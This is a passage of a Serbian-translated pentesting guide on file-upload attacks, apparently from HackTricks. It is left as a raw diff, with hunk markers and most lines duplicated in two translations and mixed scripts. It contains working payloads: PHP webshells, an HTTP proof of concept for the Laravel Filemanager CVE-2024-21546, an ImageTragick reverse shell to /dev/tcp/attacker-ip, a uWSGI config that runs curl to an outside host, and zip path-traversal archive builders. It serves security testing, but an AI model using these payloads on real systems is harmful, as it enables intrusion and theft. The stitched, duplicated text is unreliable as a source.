8. Pokušaj probiti ograničenja dužine imena fajla. Validna ekstenzija se odseca. I ostaje maliciozni PHP. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -59,56 +59,86 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### Zaobilaženje Content-Type, magic number, kompresije i promene veličine
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. završna tačka) CVE-2024-21546
- Zaobidji provere Content-Type postavljanjem vrednosti Content-Type header-a na: _image/png_ , _text/plain , application/octet-stream_
Neki upload handler-i trieju ili normalizuju završne tačke iz sačuvanog imena fajla. U UniSharps Laravel Filemanager (unisharp/laravel-filemanager) verzijama pre 2.9.1, možeš zaobići validaciju ekstenzija tako što:
- Koristiš validan image MIME i magic header (npr. PNGs `\x89PNG\r\n\x1a\n`).
- Imenovanjem otpremljenog fajla sa PHP ekstenzijom praćenom tačkom, npr. `shell.php.`.
- Server uklanja završnu tačku i sačuva `shell.php`, koji će se izvršiti ako je postavljen u web-serviran direktorijum (podrazumevano public storage kao `/storage/files/`).
Minimalni PoC (Burp Repeater):
```http
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
```
Zatim pristupite sačuvanoj putanji (tipično u Laravel + LFM):
```
GET /storage/files/0xdf.php?cmd=id
```
Mitigations:
- Ažurirajte unisharp/laravel-filemanager na ≥ 2.9.1.
- Primeni stroge server-side allowliste i ponovo validiraj sačuvano ime fajla.
- Poslužuj uploadovane fajlove iz neizvršnih lokacija.
### Bypass Content-Type, Magic Number, Compression & Resizing
- Zaobiđite **Content-Type** provere postavljanjem **value** polja **Content-Type** **header**-a na: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Zaobidji proveru magic number tako što ćeš na početak fajla dodati bajtove prave slike (zavesti komandu _file_). Ili ubaci shell u metadata:\
- Zaobiđite **magic number** proveru dodavanjem na početak fajla **bytes of a real image** (zbunite _file_ komandu). Ili ubacite shell u **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` ili možeš direktno ubaciti payload u sliku:\
`\` ili takođe možete **ubaciti payload direktno** u sliku:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Ako se nad tvoju sliku primenjuje kompresija, na primer korišćenjem standardnih PHP biblioteka kao što je [PHP-GD](https://www.php.net/manual/fr/book.image.php), prethodne tehnike neće biti korisne. Međutim, možeš koristiti PLTE chunk [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubaciš tekst koji će **preživeti kompresiju**.
- [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Web stranica takođe može menjati dimenzije slike koristeći, na primer, PHP-GD funkcije `imagecopyresized` ili `imagecopyresampled`. Međutim, možeš koristiti IDAT chunk [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubaciš tekst koji će **preživeti kompresiju**.
- [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Još jedna tehnika da se napravi payload koji **preživi menjanje veličine slike**, koristeći PHP-GD funkciju `thumbnailImage`. Takođe se može koristiti tEXt chunk [**tehnika definisana ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubaciš tekst koji će **preživeti kompresiju**.
- [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- Ako se na vašu sliku primenjuje **kompresija**, na primer koristeći neke standardne PHP biblioteke kao što je [PHP-GD](https://www.php.net/manual/fr/book.image.php), prethodne tehnike neće biti korisne. Međutim, možete koristiti **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Veb stranica takođe može **resizovati** **sliku**, koristeći na primer PHP-GD funkcije `imagecopyresized` ili `imagecopyresampled`. Ipak, možete koristiti **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Još jedna tehnika za kreiranje payload-a koji **preživi promenu veličine slike**, koristeći PHP-GD funkciju `thumbnailImage`. Ipak, možete koristiti **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Ostali trikovi za proveru
### Other Tricks to check
- Pronađi ranjivost koja omogućava preimenovanje već otpremljenog fajla (da promeniš ekstenziju).
- Pronađi Local File Inclusion ranjivost da izvršiš backdoor.
- Moguća otkrivanja informacija:
1. Otpremi više puta (i u isto vreme) isti fajl sa istim imenom
2. Otpremi fajl sa imenom fajla ili foldera koji već postoji
3. Otpremanje fajla sa imenom "." , ".." ili "..." . Na primer, u Apache na Windows-u, ako aplikacija snima otpremljene fajlove u "/www/uploads/" direktorijum, fajl sa imenom "." će kreirati fajl "uploads" u "/www/" direktorijumu.
4. Otpremi fajl koji se teško briše, kao što je "…:.jpg" u NTFS-u. (Windows)
5. Otpremi fajl u Windows-u sa nevažećim karakterima kao što su `|<>*?”` u imenu. (Windows)
6. Otpremi fajl u Windows-u koristeći rezervisana (zabranjena) imena kao CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Takođe pokušaj da otpremiš izvršni fajl (.exe) ili .html (manje sumnjivo) koji će izvršiti kod kada žrtva slučajno otvori fajl.
- Pronađi ranjivost koja omogućava **rename** već uploadovanog fajla (promenu ekstenzije).
- Pronađi **Local File Inclusion** ranjivost da izvršiš backdoor.
- **Possible Information disclosure**:
1. Uploaduj **više puta** (i **istovremeno**) **isti fajl** sa **istim imenom**
2. Uploaduj fajl sa **imenom** fajla ili foldera koji **već postoji**
3. Upload fajla sa imenom **"."**, **".."**, ili **"…"**. Na primer, u Apache na **Windows**, ako aplikacija čuva uploadovane fajlove u "/www/uploads/" direktorijumu, ime fajla "." će kreirati fajl pod imenom "uploads" u "/www/" direktorijumu.
4. Upload fajla koji možda nije lako obrisati, na primer **"...:.jpg"** na **NTFS**. (Windows)
5. Upload fajla na **Windows** sa **invalidnim karakterima** kao što su `|<>*?”` u imenu. (Windows)
6. Upload fajla na **Windows** koristeći **rezervisane** (**forbidden**) **nazive** kao što su CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
- Probajte i da **uploadujete izvršni fajl** (.exe) ili **.html** (manje sumnjivo) koji će **izvršiti kod** kada ga žrtva slučajno otvori.
### Specijalni trikovi sa ekstenzijama
### Special extension tricks
Ako pokušavaš da otpremiš fajlove na PHP server, pogledaj .htaccess trik za izvršavanje koda: [https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Ako pokušavaš da otpremiš fajlove na ASP server, pogledaj .config trik za izvršavanje koda (../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Ako pokušavate da uploadujete fajlove na **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Ako pokušavate da uploadujete fajlove na **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Fajlovi `.phar` su kao `.jar` za java, ali za php, i mogu se koristiti kao php fajl (izvršavajući ih sa php, ili uključujući ih unutar skripta...)
`.phar` fajlovi su kao `.jar` za java, ali za php, i mogu biti **used like a php file** (izvršavanje sa php, ili uključivanje u skriptu...).
Ekstenzija `.inc` se ponekad koristi za php fajlove koji služe samo za import fajlova, tako da je moguće da je neko dozvolio izvršavanje ove ekstenzije.
Ekstenzija `.inc` se ponekad koristi za php fajlove koji služe samo za **import files**, tako da je moguće da je neko dozvolio **this extension to be executed**.
## **Jetty RCE**
Ako možeš da otpremiš XML fajl na Jetty server, možeš dobiti [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Dakle, kao što je prikazano na sledećoj slici, otpremi XML fajl u `$JETTY_BASE/webapps/` i očekuj shell!
Ako možete da uploadujete XML fajl u Jetty server možete dobiti [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Dakle, kao što je pomenuto na sledećoj slici, uploadujte XML fajl u `$JETTY_BASE/webapps/` i očekujte shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
Za detaljno objašnjenje ove ranjivosti pogledaj originalno istraživanje: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) ranjivosti se mogu iskoristiti na uWSGI serverima ako napadač ima mogućnost da modifikuje `.ini` konfiguracioni fajl. uWSGI konfiguracioni fajlovi koriste specifičnu sintaksu da uključe "magic" varijable, placeholdere i operatore. Posebno, '@' operator, korišćen kao `@(filename)`, dizajniran je da uključi sadržaj fajla. Među različitim podržanim scheme-ama u uWSGI, "exec" scheme je posebno moćna, jer omogućava čitanje podataka iz standardnog output-a procesa. Ova funkcionalnost se može iskoristiti u zlonamerne svrhe kao što su Remote Command Execution ili Arbitrary File Write/Read kada se `.ini` konfiguracioni fajl obradi.
Remote Command Execution (RCE) ranjivosti mogu biti iskorišćene na uWSGI serverima ako postoji mogućnost da se izmeni `.ini` configuration file. uWSGI configuration files koriste specifičnu sintaksu za uključivanje "magic" varijabli, placeholder-a i operatora. Konkretno, '@' operator, korišćen kao `@(filename)`, služi za uključivanje sadržaja fajla. Među različitim podržanim schemes u uWSGI, "exec" scheme je posebno moćan, omogućavajući čitanje podataka iz standardnog izlaza procesa. Ova funkcionalnost se može manipulisati za zlonamerne svrhe kao što su Remote Command Execution ili Arbitrary File Write/Read kada se `.ini` configuration file procesira.
Razmotri sledeći primer zlonamernog `uwsgi.ini` fajla, koji pokazuje različite scheme:
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
```ini
[uwsgi]
; read from a symbol
@ -126,13 +156,13 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Izvršavanje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti restartovan (moguće nakon pada ili zbog Denial of Service napada) ili datoteka mora biti podešena da se auto-reload-uje. Funkcija auto-reload, ako je omogućena, ponovo učitava datoteku u zadatim intervalima kada detektuje promene.
Izvršavanje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti restartovan (potencijalno nakon pada ili usled Denial of Service napada) ili datoteka mora biti podešena da se auto-reload-uje. Auto-reload funkcija, ako je omogućena, ponovo učitava datoteku u zadatim intervalima pri detekciji izmena.
Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke od strane uWSGI-a. Konkretno, diskutovani payload može biti umetnut u binarnu datoteku (kao što je slika ili PDF), što dodatno proširuje opseg potencijalne eksploatacije.
Ključno je razumeti popustljivost uWSGI parsiranja konfiguracione datoteke. Konkretno, pomenuti payload može biti ubačen u binarnu datoteku (na primer u sliku ili PDF), čime se dodatno širi opseg potencijalne eksploatacije.
## **wget File Upload/SSRF Trick**
Ponekad možete otkriti da server koristi **`wget`** da **preuzme fajlove** i da možete **navesti** **URL**. U tim slučajevima, kod može proveravati da li je ekstenzija preuzetih fajlova u whitelist-i kako bi se osiguralo da će biti preuzeti samo dozvoljeni fajlovi. Međutim, **ova provera se može zaobići.**\
U nekim slučajevima možete otkriti da server koristi **`wget`** za **preuzimanje fajlova** i da možete **navesti** **URL**. U tim slučajevima kod može proveravati da je ekstenzija preuzetih fajlova u okviru **whitelist** kako bi se osiguralo da će biti preuzeti samo dozvoljeni fajlovi. Međutim, **ova provera se može zaobići.**\
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
```bash
#Create file and HTTP server
@ -158,33 +188,33 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
```
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
## Alati
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) je moćan alat dizajniran da pomogne Pentesters i Bug Hunters u testiranju file upload mehanizama. On koristi različite bug bounty techniques da pojednostavi proces identifikacije i eksploatacije ranjivosti, obezbeđujući temeljne procene web aplikacija.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) је моћан алат осмишљен да помогне Pentesters и Bug Hunters при тестирању механизама за upload фајлова. Он користи разне bug bounty технике да поједностави процес идентификације и експлоатисања ранљивости, обезбеђујући темељне процене web апликација.
### Korupcija upload indeksa pomoću snprintf quirks (istorijski)
### Corrupting upload indices with snprintf quirks (historical)
Neki legacy upload handler-i koji koriste `snprintf()` ili slične funkcije da izgrade multi-file nizove iz jednog single-file upload-a mogu biti prevareni da falsifikuju `_FILES` strukturu. Zbog nekonzistentnosti i skraćivanja u ponašanju `snprintf()`, pažljivo konstruisan single upload može izgledati kao više indeksiranih fajlova na strani servera, zbunjujući logiku koja pretpostavlja striktan oblik (npr. tretira ga kao multi-file upload i ulazi u nesigurne grane). Iako danas manje rasprostranjen, ovaj “index corruption” pattern povremeno se pojavljuje u CTF-ovima i starijim codebases.
Неки legacy upload handler-и који користе `snprintf()` или слично за прављење multi-file низова из једног upload-а могу бити преварени да фалсификују `_FILES` структуру. Због неусклађености и скраћивања у понашању `snprintf()`, пажљиво састављен single upload може изгледати као више индексираних фајлова на serverskoj страни, збуњујући логику која претпоставља строгу форму (нпр. третирање као multi-file upload и улажење у небезбедне гране). Иако данас нишан, овај образац “index corruption” повремено се појављује у CTF-овима и старијим код базама.
## Od File upload do drugih ranjivosti
## From File upload to other vulnerabilities
- Postavi **filename** na `../../../tmp/lol.png` i pokušaj da ostvariš **path traversal**
- Postavi **filename** na `sleep(10)-- -.jpg` i možda ćeš moći da ostvariš **SQL injection**
- Postavi **filename** na `<svg onload=alert(document.domain)>` da ostvariš **XSS**
- Postavi **filename** na `; sleep 10;` da testiraš command injection (more [command injections tricks here](../command-injection.md))
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Probaj **different svg payloads** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Ako možeš naložiti web server da učita image sa URL-a, možeš pokušati da zloupotrebiš [SSRF](../ssrf-server-side-request-forgery/index.html). Ako će ta **image** biti **saved** na nekom **public** sajtu, takođe možeš navesti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije svakog posetioca**.
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagemagick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specijalno crafted PDFs za XSS: sledeća stranica prikazuje kako da **inject PDF data to obtain JS execution** (pogledaj [following page](../xss-cross-site-scripting/pdf-injection.md)). Ako možeš upload-ovati PDFs, možeš pripremiti PDF koji će izvršiti proizvoljan JS prateći date instrukcije.
- Upload-uj sadržaj \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) da proveriš da li server koristi neki **antivirus**
- Proveri da li postoji neki **size limit** pri uploadovanju fajlova
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Check if there is any **size limit** uploading files
Evo top 10 liste stvari koje možeš postići upload-ovanjem (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -204,20 +234,20 @@ Evo top 10 liste stvari koje možeš postići upload-ovanjem (from [here](https:
https://github.com/portswigger/upload-scanner
{{#endref}}
## Magični početni bajtovi
## Magic Header Bytes
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Pogledaj [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) za druge tipove fajlova.
Pogledajte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) za ostale tipove fajlova.
## Zip/Tar fajl koji se automatski dekompresuje pri Upload-u
## Zip/Tar File Automatically decompressed Upload
Ako možeš upload-ovati ZIP koji će biti dekompresovan na serveru, možeš uraditi 2 stvari:
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
### Symlink
Upload-uj arhivu koja sadrži soft links ka drugim fajlovima; pri pristupu dekompresovanim fajlovima, pristupićeš linked files:
Upload-ujte arhivu koja sadrži soft linkove ka drugim fajlovima, zatim pristupom dekompresovanim fajlovima приступићете повезаним фајловима:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -225,18 +255,18 @@ tar -cvf test.tar symindex.txt
```
### Dekompresija u različite foldere
Neočekivano kreiranje fajlova u direktorijumima tokom dekompresije predstavlja značajan problem. I pored početnih pretpostavki da ovo podešavanje može da štiti od OS-level command execution kroz malicious file uploads, podrška za hijerarhijsko kompresovanje i mogućnosti directory traversal formata ZIP arhiva mogu se iskoristiti. To omogućava napadačima da zaobiđu ograničenja i pobegnu iz sigurnih upload direktorijuma manipulisanjem funkcionalnošću dekompresije ciljne aplikacije.
Neočekivano kreiranje fajlova u direktorijumima tokom dekompresije predstavlja ozbiljan problem. Iako se prvobitno pretpostavljalo da ova konfiguracija može da zaštiti od OS-level command execution putem malicious file uploads, podrška za hijerarhijsku kompresiju i directory traversal u ZIP archive format može biti iskorišćena. To omogućava napadačima da zaobiđu ograničenja i escape secure upload directories manipulisanjem decompression functionality ciljne aplikacije.
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
Automatizovani exploit za kreiranje takvih fajlova dostupan je na [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Alat se može koristiti na sledeći način:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Dodatno, **symlink trick with evilarc** je opcija. Ako je cilj da se pristupi fajlu poput `/flag.txt`, trebalo bi kreirati symlink ka tom fajlu u vašem sistemu. To obezbeđuje da evilarc ne naiđe na greške tokom svog rada.
Pored toga, opcija je i **symlink trick with evilarc**. Ako je cilj да се циља фајл као што је `/flag.txt`, треба креирати symlink ка том фајлу у вашем систему. Ово осигурава да evilarc не наиђе на грешке током свог рада.
Ispod je primer Python koda koji se koristi za kreiranje malicioznog zip fajla:
Ispod je primer Python koda koji se koristi за креирање злонамерног zip фајла:
```python
#!/usr/bin/python
import zipfile
@ -256,9 +286,9 @@ create_zip()
```
**Zloupotreba kompresije za file spraying**
For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Za više detalja **pogledajte originalni post na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Kreiranje PHP Shell-a**: PHP kod koji izvršava komande prosleđene putem promenljive `$_REQUEST`.
1. **Creating a PHP Shell**: PHP kod koji izvršava komande prosleđene kroz varijablu `$_REQUEST`.
```php
<?php
@ -268,14 +298,14 @@ system($cmd);
}?>
```
2. **File Spraying and Compressed File Creation**: Kreira se više fajlova i sastavlja zip arhiva koja sadrži te fajlove.
2. **File Spraying and Compressed File Creation**: Kreira se više fajlova i sastavlja se zip arhiva koja sadrži te fajlove.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**: Imena fajlova unutar zip-a se menjaju koristeći vi ili hex editor, menjajući "xxA" u "../" kako bi se izvršilo prelaženje kroz direktorijume.
3. **Modification with a Hex Editor or vi**: Imena fajlova unutar zip-a se menjaju koristeći vi ili hex editor, zamenjujući "xxA" sa "../" kako bi se izvršilo traversiranje direktorijuma.
```bash
:set modifiable
@ -285,38 +315,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Upload this content with an image extension to exploit the vulnerability **(ImageMagick , 7.0.1-1)** (from the [exploit](https://www.exploit-db.com/exploits/39767))
Otpremite ovaj sadržaj sa ekstenzijom slike da biste iskoristili ranjivost **(ImageMagick , 7.0.1-1)** (prema [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Embedding PHP Shell on PNG
## Ugrađivanje PHP shell-a u PNG
Umetanje PHP shell-a u IDAT chunk PNG fajla može efikasno zaobići određene operacije obrade slike. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD posebno su relevantne u ovom kontekstu, pošto se često koriste za promenu veličine i ponovno uzorkovanje slika. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen pri ovim operacijama predstavlja značajnu prednost za određene slučajeve upotrebe.
Ugrađivanje PHP shell-a u IDAT chunk PNG fajla može efikasno zaobići određene operacije obrade slike. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i resampling slika, respektivno. Mogućnost da ugrađeni PHP shell ostane nepromenjen nakon ovih operacija predstavlja značajnu prednost za određene slučajeve upotrebe.
Detaljna analiza ove tehnike, uključujući metodologiju i potencijalne primene, dostupna je u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ovaj resurs pruža sveobuhvatno razumevanje procesa i njegovih implikacija.
Detaljno istraživanje ove tehnike, uključujući metodologiju i potencijalne primene, dostupno je u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ovaj resurs pruža sveobuhvatno razumevanje procesa i njegovih implikacija.
Više informacija: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
## Polyglot fajlovi
Polyglot files predstavljaju jedinstven alat u sajber bezbednosti, ponašajući se kao kameleon koji može validno postojati u više formata fajlova istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takvi fajlovi nisu ograničeni na ovu kombinaciju; moguće su i kombinacije poput GIF i JS ili PPT i JS.
Polyglot fajlovi služe kao jedinstven alat u sajberbezbednosti, ponašajući se kao kameleoni koji mogu validno postojati u više formata fajlova istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takvi fajlovi nisu ograničeni na ovu kombinaciju; moguće su i kombinacije kao GIF i JS ili PPT i JS.
Suštinska korisnost polyglot fajlova leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju fajlove po tipu. Uobičajena praksa u različitim aplikacijama je dozvoliti samo određene tipove fajlova za upload—kao što su JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno opasnih formata (npr. JS, PHP ili Phar fajlovi). Međutim, polyglot, usklađujući se sa strukturnim kriterijumima više formata fajlova, može prikriveno zaobići ta ograničenja.
